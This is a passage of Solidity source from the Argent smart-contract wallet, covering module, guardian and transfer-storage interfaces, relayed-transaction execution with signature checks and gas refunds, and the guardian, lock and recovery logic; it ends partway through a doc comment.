// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.3;
interface IAuthoriser {
function isAuthorised(address _sender, address _spender, address _to, bytes calldata _data) external view returns (bool);
function areAuthorised(
address _spender,
address[] calldata _spenders,
address[] calldata _to,
bytes[] calldata _data
)
external
view
returns (bool);
}
// Copyright (C) 2020 Argent Labs Ltd. <https://argent.xyz>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity >=0.5.4 <0.9.0;
/**
* @title IModuleRegistry
* @notice Interface for the registry of authorised modules.
*/
interface IModuleRegistry {
function registerModule(address _module, bytes32 _name) external;
function deregisterModule(address _module) external;
function registerUpgrader(address _upgrader, bytes32 _name) external;
function deregisterUpgrader(address _upgrader) external;
function recoverToken(address _token) external;
function moduleInfo(address _module) external view returns (bytes32);
function upgraderInfo(address _upgrader) external view returns (bytes32);
function isRegisteredModule(address _module) external view returns (bool);
function isRegisteredModule(address[] calldata _modules) external view returns (bool);
function isRegisteredUpgrader(address _upgrader) external view returns (bool);
}
// Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity >=0.5.4 <0.9.0;
interface IGuardianStorage {
/**
* @notice Lets an authorised module add a guardian to a wallet.
* @param _wallet The target wallet.
* @param _guardian The guardian to add.
*/
function addGuardian(address _wallet, address _guardian) external;
/**
* @notice Lets an authorised module revoke a guardian from a wallet.
* @param _wallet The target wallet.
* @param _guardian The guardian to revoke.
*/
function revokeGuardian(address _wallet, address _guardian) external;
/**
* @notice Checks if an account is a guardian for a wallet.
* @param _wallet The target wallet.
* @param _guardian The account.
* @return true if the account is a guardian for a wallet.
*/
function isGuardian(address _wallet, address _guardian) external view returns (bool);
function isLocked(address _wallet) external view returns (bool);
function getLock(address _wallet) external view returns (uint256);
function getLocker(address _wallet) external view returns (address);
function setLock(address _wallet, uint256 _releaseAfter) external;
function getGuardians(address _wallet) external view returns (address[] memory);
function guardianCount(address _wallet) external view returns (uint256);
}
// Copyright (C) 2020 Argent Labs Ltd. <https://argent.xyz>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity >=0.5.4 <0.9.0;
/**
* @title ITransferStorage
* @notice TransferStorage interface
*/
interface ITransferStorage {
function setWhitelist(address _wallet, address _target, uint256 _value) external;
function getWhitelist(address _wallet, address _target) external view returns (uint256);
}
// Copyright (C) 2021 Argent Labs Ltd. <https://argent.xyz>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.3;
import "./common/Utils.sol";
import "./common/BaseModule.sol";
import "./RelayerManager.sol";
import "./SecurityManager.sol";
import "./TransactionManager.sol";
/**
* @title ArgentModule
* @notice Single module for the Argent wallet.
* @author Julien Niset - <[email protected]>
*/
contract ArgentModule is BaseModule, RelayerManager, SecurityManager, TransactionManager {
bytes32 constant public NAME = "ArgentModule";
constructor (
IModuleRegistry _registry,
IGuardianStorage _guardianStorage,
ITransferStorage _userWhitelist,
IAuthoriser _authoriser,
address _uniswapRouter,
uint256 _securityPeriod,
uint256 _securityWindow,
uint256 _recoveryPeriod,
uint256 _lockPeriod
)
BaseModule(_registry, _guardianStorage, _userWhitelist, _authoriser, NAME)
SecurityManager(_recoveryPeriod, _securityPeriod, _securityWindow, _lockPeriod)
TransactionManager(_securityPeriod)
RelayerManager(_uniswapRouter)
{
}
/**
* @inheritdoc IModule
*/
function init(address _wallet) external override onlyWallet(_wallet) {
enableDefaultStaticCalls(_wallet);
}
/**
* @inheritdoc IModule
*/
function addModule(address _wallet, address _module) external override onlyWalletOwnerOrSelf(_wallet) onlyWhenUnlocked(_wallet) {
require(registry.isRegisteredModule(_module), "AM: module is not registered");
IWallet(_wallet).authoriseModule(_module, true);
}
/**
* @inheritdoc RelayerManager
*/
function getRequiredSignatures(address _wallet, bytes calldata _data) public view override returns (uint256, OwnerSignature) {
bytes4 methodId = Utils.functionPrefix(_data);
if (methodId == TransactionManager.multiCall.selector ||
methodId == TransactionManager.addToWhitelist.selector ||
methodId == TransactionManager.removeFromWhitelist.selector ||
methodId == TransactionManager.enableERC1155TokenReceiver.selector ||
methodId == TransactionManager.clearSession.selector ||
methodId == ArgentModule.addModule.selector ||
methodId == SecurityManager.addGuardian.selector ||
methodId == SecurityManager.revokeGuardian.selector ||
methodId == SecurityManager.cancelGuardianAddition.selector ||
methodId == SecurityManager.cancelGuardianRevokation.selector)
{
// owner
return (1, OwnerSignature.Required);
}
if (methodId == TransactionManager.multiCallWithSession.selector) {
return (1, OwnerSignature.Session);
}
if (methodId == SecurityManager.executeRecovery.selector) {
// majority of guardians
uint numberOfSignaturesRequired = _majorityOfGuardians(_wallet);
require(numberOfSignaturesRequired > 0, "AM: no guardians set on wallet");
return (numberOfSignaturesRequired, OwnerSignature.Disallowed);
}
if (methodId == SecurityManager.cancelRecovery.selector) {
// majority of (owner + guardians)
uint numberOfSignaturesRequired = Utils.ceil(recoveryConfigs[_wallet].guardianCount + 1, 2);
return (numberOfSignaturesRequired, OwnerSignature.Optional);
}
if (methodId == TransactionManager.multiCallWithGuardians.selector ||
methodId == TransactionManager.multiCallWithGuardiansAndStartSession.selector ||
methodId == SecurityManager.transferOwnership.selector)
{
// owner + majority of guardians
uint majorityGuardians = _majorityOfGuardians(_wallet);
uint numberOfSignaturesRequired = majorityGuardians + 1;
return (numberOfSignaturesRequired, OwnerSignature.Required);
}
if (methodId == SecurityManager.finalizeRecovery.selector ||
methodId == SecurityManager.confirmGuardianAddition.selector ||
methodId == SecurityManager.confirmGuardianRevokation.selector)
{
// anyone
return (0, OwnerSignature.Anyone);
}
if (methodId == SecurityManager.lock.selector || methodId == SecurityManager.unlock.selector) {
// any guardian
return (1, OwnerSignature.Disallowed);
}
revert("SM: unknown method");
}
function _majorityOfGuardians(address _wallet) internal view returns (uint) {
return Utils.ceil(guardianStorage.guardianCount(_wallet), 2);
}
}
// Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.3;
import "@openzeppelin/contracts/utils/math/Math.sol";
import "./common/Utils.sol";
import "./common/BaseModule.sol";
import "./common/SimpleOracle.sol";
import "../infrastructure/storage/IGuardianStorage.sol";
/**
* @title RelayerManager
* @notice Abstract Module to execute transactions signed by ETH-less accounts and sent by a relayer.
* @author Julien Niset <[email protected]>, Olivier VDB <[email protected]>
*/
abstract contract RelayerManager is BaseModule, SimpleOracle {
uint256 constant internal BLOCKBOUND = 10000;
mapping (address => RelayerConfig) internal relayer;
struct RelayerConfig {
uint256 nonce;
mapping (bytes32 => bool) executedTx;
}
// Used to avoid stack too deep error
struct StackExtension {
uint256 requiredSignatures;
OwnerSignature ownerSignatureRequirement;
bytes32 signHash;
bool success;
bytes returnData;
}
event TransactionExecuted(address indexed wallet, bool indexed success, bytes returnData, bytes32 signedHash);
event Refund(address indexed wallet, address indexed refundAddress, address refundToken, uint256 refundAmount);
// *************** Constructor ************************ //
constructor(address _uniswapRouter) SimpleOracle(_uniswapRouter) {
}
/* ***************** External methods ************************* */
/**
* @notice Gets the number of valid signatures that must be provided to execute a
* specific relayed transaction.
* @param _wallet The target wallet.
* @param _data The data of the relayed transaction.
* @return The number of required signatures and the wallet owner signature requirement.
*/
function getRequiredSignatures(address _wallet, bytes calldata _data) public view virtual returns (uint256, OwnerSignature);
/**
* @notice Executes a relayed transaction.
* @param _wallet The target wallet.
* @param _data The data for the relayed transaction
* @param _nonce The nonce used to prevent replay attacks.
* @param _signatures The signatures as a concatenated byte array.
* @param _gasPrice The max gas price (in token) to use for the gas refund.
* @param _gasLimit The max gas limit to use for the gas refund.
* @param _refundToken The token to use for the gas refund.
* @param _refundAddress The address refunded to prevent front-running.
*/
function execute(
address _wallet,
bytes calldata _data,
uint256 _nonce,
bytes calldata _signatures,
uint256 _gasPrice,
uint256 _gasLimit,
address _refundToken,
address _refundAddress
)
external
returns (bool)
{
// initial gas = 21k + non_zero_bytes * 16 + zero_bytes * 4
// ~= 21k + calldata.length * [1/3 * 16 + 2/3 * 4]
uint256 startGas = gasleft() + 21000 + msg.data.length * 8;
require(startGas >= _gasLimit, "RM: not enough gas provided");
require(verifyData(_wallet, _data), "RM: Target of _data != _wallet");
require(!_isLocked(_wallet) || _gasPrice == 0, "RM: Locked wallet refund");
StackExtension memory stack;
(stack.requiredSignatures, stack.ownerSignatureRequirement) = getRequiredSignatures(_wallet, _data);
require(stack.requiredSignatures > 0 || stack.ownerSignatureRequirement == OwnerSignature.Anyone, "RM: Wrong signature requirement");
require(stack.requiredSignatures * 65 == _signatures.length, "RM: Wrong number of signatures");
stack.signHash = getSignHash(
address(this),
0,
_data,
_nonce,
_gasPrice,
_gasLimit,
_refundToken,
_refundAddress);
require(checkAndUpdateUniqueness(
_wallet,
_nonce,
stack.signHash,
stack.requiredSignatures,
stack.ownerSignatureRequirement), "RM: Duplicate request");
if (stack.ownerSignatureRequirement == OwnerSignature.Session) {
require(validateSession(_wallet, stack.signHash, _signatures), "RM: Invalid session");
} else {
require(validateSignatures(_wallet, stack.signHash, _signatures, stack.ownerSignatureRequirement), "RM: Invalid signatures");
}
(stack.success, stack.returnData) = address(this).call(_data);
refund(
_wallet,
startGas,
_gasPrice,
_gasLimit,
_refundToken,
_refundAddress,
stack.requiredSignatures,
stack.ownerSignatureRequirement);
emit TransactionExecuted(_wallet, stack.success, stack.returnData, stack.signHash);
return stack.success;
}
/**
* @notice Gets the current nonce for a wallet.
* @param _wallet The target wallet.
*/
function getNonce(address _wallet) external view returns (uint256 nonce) {
return relayer[_wallet].nonce;
}
/**
* @notice Checks if a transaction identified by its sign hash has already been executed.
* @param _wallet The target wallet.
* @param _signHash The sign hash of the transaction.
*/
function isExecutedTx(address _wallet, bytes32 _signHash) external view returns (bool executed) {
return relayer[_wallet].executedTx[_signHash];
}
/**
* @notice Gets the last stored session for a wallet.
* @param _wallet The target wallet.
*/
function getSession(address _wallet) external view returns (address key, uint64 expires) {
return (sessions[_wallet].key, sessions[_wallet].expires);
}
/* ***************** Internal & Private methods ************************* */
/**
* @notice Generates the signed hash of a relayed transaction according to ERC 1077.
* @param _from The starting address for the relayed transaction (should be the relayer module)
* @param _value The value for the relayed transaction.
* @param _data The data for the relayed transaction which includes the wallet address.
* @param _nonce The nonce used to prevent replay attacks.
* @param _gasPrice The max gas price (in token) to use for the gas refund.
* @param _gasLimit The max gas limit to use for the gas refund.
* @param _refundToken The token to use for the gas refund.
* @param _refundAddress The address refunded to prevent front-running.
*/
function getSignHash(
address _from,
uint256 _value,
bytes memory _data,
uint256 _nonce,
uint256 _gasPrice,
uint256 _gasLimit,
address _refundToken,
address _refundAddress
)
internal
view
returns (bytes32)
{
return keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
keccak256(abi.encodePacked(
bytes1(0x19),
bytes1(0),
_from,
_value,
_data,
block.chainid,
_nonce,
_gasPrice,
_gasLimit,
_refundToken,
_refundAddress))
));
}
/**
* @notice Checks if the relayed transaction is unique. If yes the state is updated.
* For actions requiring 1 signature by the owner or a session key we use the incremental nonce.
* For all other actions we check/store the signHash in a mapping.
* @param _wallet The target wallet.
* @param _nonce The nonce.
* @param _signHash The signed hash of the transaction.
* @param requiredSignatures The number of signatures required.
* @param ownerSignatureRequirement The wallet owner signature requirement.
* @return true if the transaction is unique.
*/
function checkAndUpdateUniqueness(
address _wallet,
uint256 _nonce,
bytes32 _signHash,
uint256 requiredSignatures,
OwnerSignature ownerSignatureRequirement
)
internal
returns (bool)
{
if (requiredSignatures == 1 &&
(ownerSignatureRequirement == OwnerSignature.Required || ownerSignatureRequirement == OwnerSignature.Session)) {
// use the incremental nonce
if (_nonce <= relayer[_wallet].nonce) {
return false;
}
uint256 nonceBlock = (_nonce & 0xffffffffffffffffffffffffffffffff00000000000000000000000000000000) >> 128;
if (nonceBlock > block.number + BLOCKBOUND) {
return false;
}
relayer[_wallet].nonce = _nonce;
return true;
} else {
// use the txHash map
if (relayer[_wallet].executedTx[_signHash] == true) {
return false;
}
relayer[_wallet].executedTx[_signHash] = true;
return true;
}
}
/**
* @notice Validates the signatures provided with a relayed transaction.
* @param _wallet The target wallet.
* @param _signHash The signed hash representing the relayed transaction.
* @param _signatures The signatures as a concatenated bytes array.
* @param _option An OwnerSignature enum indicating whether the owner is required, optional or disallowed.
* @return A boolean indicating whether the signatures are valid.
*/
function validateSignatures(address _wallet, bytes32 _signHash, bytes memory _signatures, OwnerSignature _option) internal view returns (bool)
{
if (_signatures.length == 0) {
return true;
}
address lastSigner = address(0);
address[] memory guardians;
if (_option != OwnerSignature.Required || _signatures.length > 65) {
guardians = guardianStorage.getGuardians(_wallet); // guardians are only read if they may be needed
}
bool isGuardian;
for (uint256 i = 0; i < _signatures.length / 65; i++) {
address signer = Utils.recoverSigner(_signHash, _signatures, i);
if (i == 0) {
if (_option == OwnerSignature.Required) {
// First signer must be owner
if (_isOwner(_wallet, signer)) {
continue;
}
return false;
} else if (_option == OwnerSignature.Optional) {
// First signer can be owner
if (_isOwner(_wallet, signer)) {
continue;
}
}
}
if (signer <= lastSigner) {
return false; // Signers must be different
}
lastSigner = signer;
(isGuardian, guardians) = Utils.isGuardianOrGuardianSigner(guardians, signer);
if (!isGuardian) {
return false;
}
}
return true;
}
/**
* @notice Validates the signature provided when a session key was used.
* @param _wallet The target wallet.
* @param _signHash The signed hash representing the relayed transaction.
* @param _signatures The signatures as a concatenated bytes array.
* @return A boolean indicating whether the signature is valid.
*/
function validateSession(address _wallet, bytes32 _signHash, bytes calldata _signatures) internal view returns (bool) {
Session memory session = sessions[_wallet];
address signer = Utils.recoverSigner(_signHash, _signatures, 0);
return (signer == session.key && session.expires >= block.timestamp);
}
/**
* @notice Refunds the gas used to the Relayer.
* @param _wallet The target wallet.
* @param _startGas The gas provided at the start of the execution.
* @param _gasPrice The max gas price (in token) for the refund.
* @param _gasLimit The max gas limit for the refund.
* @param _refundToken The token to use for the gas refund.
* @param _refundAddress The address refunded to prevent front-running.
* @param _requiredSignatures The number of signatures required.
* @param _option An OwnerSignature enum indicating the signature requirement.
*/
function refund(
address _wallet,
uint _startGas,
uint _gasPrice,
uint _gasLimit,
address _refundToken,
address _refundAddress,
uint256 _requiredSignatures,
OwnerSignature _option
)
internal
{
// Only refund when the owner is one of the signers or a session key was used
if (_gasPrice > 0 && (_option == OwnerSignature.Required || _option == OwnerSignature.Session)) {
address refundAddress = _refundAddress == address(0) ? msg.sender : _refundAddress;
if (_requiredSignatures == 1 && _option == OwnerSignature.Required) {
// refundAddress must be whitelisted/authorised
if (!authoriser.isAuthorised(_wallet, refundAddress, address(0), EMPTY_BYTES)) {
uint whitelistAfter = userWhitelist.getWhitelist(_wallet, refundAddress);
require(whitelistAfter > 0 && whitelistAfter < block.timestamp, "RM: refund not authorised");
}
}
uint256 refundAmount;
if (_refundToken == ETH_TOKEN) {
// 23k as an upper bound to cover the rest of refund logic
uint256 gasConsumed = _startGas - gasleft() + 23000;
refundAmount = Math.min(gasConsumed, _gasLimit) * (Math.min(_gasPrice, tx.gasprice));
invokeWallet(_wallet, refundAddress, refundAmount, EMPTY_BYTES);
} else {
// 37.5k as an upper bound to cover the rest of refund logic
uint256 gasConsumed = _startGas - gasleft() + 37500;
uint256 tokenGasPrice = inToken(_refundToken, tx.gasprice);
refundAmount = Math.min(gasConsumed, _gasLimit) * (Math.min(_gasPrice, tokenGasPrice));
bytes memory methodData = abi.encodeWithSelector(ERC20.transfer.selector, refundAddress, refundAmount);
bytes memory transferSuccessBytes = invokeWallet(_wallet, _refundToken, 0, methodData);
// Check token refund is successful, when `transfer` returns a success bool result
if (transferSuccessBytes.length > 0) {
require(abi.decode(transferSuccessBytes, (bool)), "RM: Refund transfer failed");
}
}
emit Refund(_wallet, refundAddress, _refundToken, refundAmount);
}
}
/**
* @notice Checks that the wallet address provided as the first parameter of _data matches _wallet
* @return false if the addresses are different.
*/
function verifyData(address _wallet, bytes calldata _data) internal pure returns (bool) {
require(_data.length >= 36, "RM: Invalid dataWallet");
address dataWallet = abi.decode(_data[4:], (address));
return dataWallet == _wallet;
}
}
// Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.3;
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "./common/Utils.sol";
import "./common/BaseModule.sol";
import "../wallet/IWallet.sol";
/**
* @title SecurityManager
* @notice Abstract module implementing the key security features of the wallet: guardians, lock and recovery.
* @author Julien Niset - <[email protected]>
* @author Olivier Van Den Biggelaar - <[email protected]>
*/
abstract contract SecurityManager is BaseModule {
struct RecoveryConfig {
address recovery;
uint64 executeAfter;
uint32 guardianCount;
}
struct GuardianManagerConfig {
// The time at which a guardian addition or revokation will be confirmable by the owner
mapping (bytes32 => uint256) pending;
}
// Wallet specific storage for recovery
mapping (address => RecoveryConfig) internal recoveryConfigs;
// Wallet specific storage for pending guardian addition/revokation
mapping (address => GuardianManagerConfig) internal guardianConfigs;
// Recovery period
uint256 internal immutable recoveryPeriod;
// Lock period
uint256 internal immutable lockPeriod;
// The security period to add/remove guardians
uint256 internal immutable securityPeriod;
// The security window
uint256 internal immutable securityWindow;
// *************** Events *************************** //
event RecoveryExecuted(address indexed wallet, address indexed _recovery, uint64 executeAfter);
event RecoveryFinalized(address indexed wallet, address indexed _recovery);
event RecoveryCanceled(address indexed wallet, address indexed _recovery);
event OwnershipTransfered(address indexed wallet, address indexed _newOwner);
event Locked(address indexed wallet, uint64 releaseAfter);
event Unlocked(address indexed wallet);
event GuardianAdditionRequested(address indexed wallet, address indexed guardian, uint256 executeAfter);
event GuardianRevokationRequested(address indexed wallet, address indexed guardian, uint256 executeAfter);
event GuardianAdditionCancelled(address indexed wallet, address indexed guardian);
event GuardianRevokationCancelled(address indexed wallet, address indexed guardian);
event GuardianAdded(address indexed wallet, address indexed guardian);
event GuardianRevoked(address indexed wallet, address indexed guardian);
// *************** Modifiers ************************ //
/**
* @notice Throws if there is no ongoing recovery procedure.
*/
modifier onlyWhenRecovery(address _wallet) {
require(recoveryConfigs[_wallet].executeAfter > 0, "SM: no ongoing recovery");
_;
}
/**
* @notice Throws if there is an ongoing recovery procedure.
*/
modifier notWhenRecovery(address _wallet) {
require(recoveryConfigs[_wallet].executeAfter == 0, "SM: ongoing recovery");
_;
}
/**
* @notice Throws if the caller is not a guardian for the wallet or the module itself.
*/
modifier onlyGuardianOrSelf(address _wallet) {
require(_isSelf(msg.sender) || isGuardian(_wallet, msg.sender), "SM: must be guardian/self");
_;
}
// *************** Constructor ************************ //
constructor(
uint256 _recoveryPeriod,
uint256 _securityPeriod,
uint256 _securityWindow,
uint256 _lockPeriod
) {
// For the wallet to be secure we must have recoveryPeriod >= securityPeriod + securityWindow
// where securityPeriod and securityWindow are the security parameters of adding/removing guardians.
require(_lockPeriod >= _recoveryPeriod, "SM: insecure lock period");
require(_recoveryPeriod >= _securityPeriod + _securityWindow, "SM: insecure security periods");
recoveryPeriod = _recoveryPeriod;
lockPeriod = _lockPeriod;
securityWindow = _securityWindow;
securityPeriod = _securityPeriod;
}
// *************** External functions ************************ //
// *************** Recovery functions ************************ //
/**
* @notice Lets the guardians start the execution of the recovery procedure.
* Once triggered the recovery is pending for the security period before it can be finalised.
* Must be confirmed by N guardians, where N = ceil(Nb Guardians / 2).
* @param _wallet The target wallet.
* @param _recovery The address to which ownership should be transferred.
*/
function executeRecovery(address _wallet, address _recovery) external onlySelf() notWhenRecovery(_wallet) {
validateNewOwner(_wallet, _recovery);
uint64 executeAfter = uint64(block.timestamp + recoveryPeriod);
recoveryConfigs[_wallet] = RecoveryConfig(_recovery, executeAfter, uint32(guardianStorage.guardianCount(_wallet)));
_setLock(_wallet, block.timestamp + lockPeriod, SecurityManager.executeRecovery.selector);
emit RecoveryExecuted(_wallet, _recovery, executeAfter);
}
/**
* @notice Finalizes an ongoing recovery procedure if the security period is over.
* The method is public and callable by anyone to enable orchestration.
* @param _wallet The target wallet.
*/
function finalizeRecovery(address _wallet) external onlyWhenRecovery(_wallet) {
RecoveryConfig storage config = recoveryConfigs[_wallet];
require(uint64(block.timestamp) > config.executeAfter, "SM: ongoing recovery period");
address recoveryOwner = config.recovery;
delete recoveryConfigs[_wallet];
_clearSession(_wallet);
IWallet(_wallet).setOwner(recoveryOwner);
_setLock(_wallet, 0, bytes4(0));
emit RecoveryFinalized(_wallet, recoveryOwner);
}
/**
* @notice Lets the owner cancel an ongoing recovery procedure.
* Must be confirmed by N guardians, where N = ceil(Nb Guardian at executeRecovery + 1) / 2) - 1.
* @param _wallet The target wallet.
*/
function cancelRecovery(address _wallet) external onlySelf() onlyWhenRecovery(_wallet) {
address recoveryOwner = recoveryConfigs[_wallet].recovery;
delete recoveryConfigs[_wallet];
_setLock(_wallet, 0, bytes4(0));
emit RecoveryCanceled(_wallet, recoveryOwner);
}
/**
* @notice Lets the owner transfer the wallet ownership. This is executed immediately.
* @param _wallet The target wallet.
* @param _newOwner The address to which ownership should be transferred.
*/
function transferOwnership(address _wallet, address _newOwner) external onlySelf() onlyWhenUnlocked(_wallet) {
validateNewOwner(_wallet, _newOwner);
IWallet(_wallet).setOwner(_newOwner);
emit OwnershipTransfered(_wallet, _newOwner);
}
/**
* @notice Gets the details of the ongoing recovery procedure if any.
* @param _wallet The target wallet.
*/
function getRecovery(address _wallet) external view returns(address _address, uint64 _executeAfter, uint32 _guardianCount) {
RecoveryConfig storage config = recoveryConfigs[_wallet];
return (config.recovery, config.executeAfter, config.guardianCount);
}
// *************** Lock functions ************************ //
/**
* @notice Lets a guardian lock a wallet.
* @param _wallet The target wallet.
*/
function lock(address _wallet) external onlyGuardianOrSelf(_wallet) onlyWhenUnlocked(_wallet) {
_setLock(_wallet, block.timestamp + lockPeriod, SecurityManager.lock.selector);
emit Locked(_wallet, uint64(block.timestamp + lockPeriod));
}
/**
* @notice Lets a guardian unlock a locked wallet.
* @param _wallet The target wallet.
*/
function unlock(address _wallet) external onlyGuardianOrSelf(_wallet) onlyWhenLocked(_wallet) {
require(locks[_wallet].locker == SecurityManager.lock.selector, "SM: cannot unlock");
_setLock(_wallet, 0, bytes4(0));
emit Unlocked(_wallet);
}
/**
* @notice Returns the release time of a wallet lock or 0 if the wallet is unlocked.
* @param _wallet The target wallet.
* @return _releaseAfter The epoch time at which the lock will release (in seconds).
*/
function getLock(address _wallet) external view returns(uint64 _releaseAfter) {
return _isLocked(_wallet) ? locks[_wallet].release : 0;
}
/**
* @notice Checks if a wallet is locked.
* @param _wallet The target wallet.
* @return _isLocked `true` if the wallet is locked otherwise `false`.
*/
function isLocked(address _wallet) external view returns (bool) {
return _isLocked(_wallet);
}
// *************** Guardian functions ************************ //
/**
* @notice Lets the owner add a guardian to its wallet.
* The first guardian is added immediately. All following additions must be confirmed
* by calling the confirmGuardianAddition() method.
* @param _wallet The target wallet.
* @param _guardian The guardian to add.
*/
function addGuardian(address _wallet, address _guardian) external onlyWalletOwnerOrSelf(_wallet) onlyWhenUnlocked(_wallet) {
require(!_isOwner(_wallet, _guardian), "SM: guardian cannot be owner");
require(!isGuardian(_wallet, _guardian), "SM: duplicate guardian");
// Guardians must either be an EOA or a contract with an owner()
// method that returns an address with a 25000 gas stipend.
// Note that this test is not meant to be strict and can be bypassed by custom malicious contracts.
(bool success,) = _guardian.call{gas: 25000}(abi.encodeWithSignature("owner()"));
require(success, "SM: must be EOA/Argent wallet");
bytes32 id = keccak256(abi.encodePacked(_wallet, _guardian, "addition"));
GuardianManagerConfig storage config = guardianConfigs[_wallet];
require(
config.pending[id] == 0 || block.timestamp > config.pending[id] + securityWindow,
"SM: duplicate pending addition");
config.pending[id] = block.timestamp + securityPeriod;
emit GuardianAdditionRequested(_wallet, _guardian, block.timestamp + securityPeriod);
}
/**
* @notice Confirms the pending addition of a guardian to a wallet.
* The method must be called during the confirmation window and can be called by anyone to enable orchestration.
* @param _wallet The target wallet.
* @param _guardian The guardian.
*/
function confirmGuardianAddition(address _wallet, address _guardian) external onlyWhenUnlocked(_wallet) {
bytes32 id = keccak256(abi.encodePacked(_wallet, _guardian, "addition"));
GuardianManagerConfig storage config = guardianConfigs[_wallet];
require(config.pending[id] > 0, "SM: unknown pending addition");
require(config.pending[id] < block.timestamp, "SM: pending addition not over");
require(block.timestamp < config.pending[id] + securityWindow, "SM: pending addition expired");
guardianStorage.addGuardian(_wallet, _guardian);
emit GuardianAdded(_wallet, _guardian);
delete config.pending[id];
}
/**
* @notice Lets the owner cancel a pending guardian addition.
* @param _wallet The target wallet.
* @param _guardian The guardian.
*/
function cancelGuardianAddition(address _wallet, address _guardian) external onlyWalletOwnerOrSelf(_wallet) onlyWhenUnlocked(_wallet) {
bytes32 id = keccak256(abi.encodePacked(_wallet, _guardian, "addition"));
GuardianManagerConfig storage config = guardianConfigs[_wallet];
require(config.pending[id] > 0, "SM: unknown pending addition");
delete config.pending[id];
emit GuardianAdditionCancelled(_wallet, _guardian);
}
/**
* @notice Lets the owner revoke a guardian from its wallet.
* @dev Revokation must be confirmed by calling the confirmGuardianRevokation() method.
* @param _wallet The target wallet.
* @param _guardian The guardian to revoke.
*/
function revokeGuardian(address _wallet, address _guardian) external onlyWalletOwnerOrSelf(_wallet) {
require(isGuardian(_wallet, _guardian), "SM: must be existing guardian");
bytes32 id = keccak256(abi.encodePacked(_wallet, _guardian, "revokation"));
GuardianManagerConfig storage config = guardianConfigs[_wallet];
require(
config.pending[id] == 0 || block.timestamp > config.pending[id] + securityWindow,
"SM: duplicate pending revoke"); // TODO need to allow if confirmation window passed
config.pending[id] = block.timestamp + securityPeriod;
emit GuardianRevokationRequested(_wallet, _guardian, block.timestamp + securityPeriod);
}
/**
* @notice Confirms the pending revokation of a guardian to a wallet.
* The method must be called during the confirmation window and can be called by anyone to enable orchestration.
* @param _wallet The target wallet.
* @param _guardian The guardian.
*/
function confirmGuardianRevokation(address _wallet, address _guardian) external {
bytes32 id = keccak256(abi.encodePacked(_wallet, _guardian, "revokation"));
GuardianManagerConfig storage config = guardianConfigs[_wallet];
require(config.pending[id] > 0, "SM: unknown pending revoke");
require(config.pending[id] < block.timestamp, "SM: pending revoke not over");
require(block.timestamp < config.pending[id] + securityWindow, "SM: pending revoke expired");
guardianStorage.revokeGuardian(_wallet, _guardian);
emit GuardianRevoked(_wallet, _guardian);
delete config.pending[id];
}
/**
* @notice Lets the owner cancel a pending guardian revokation.
* @param _wallet The target wallet.
* @param _guardian The guardian.
*/
function cancelGuardianRevokation(address _wallet, address _guardian) external onlyWalletOwnerOrSelf(_wallet) onlyWhenUnlocked(_wallet) {
bytes32 id = keccak256(abi.encodePacked(_wallet, _guardian, "revokation"));
GuardianManagerConfig storage config = guardianConfigs[_wallet];
require(config.pending[id] > 0, "SM: unknown pending revoke");
delete config.pending[id];
emit GuardianRevokationCancelled(_wallet, _guardian);
}
/**
* @notice Checks if an address is a guardian for a wallet.
* @param _wallet The target wallet.
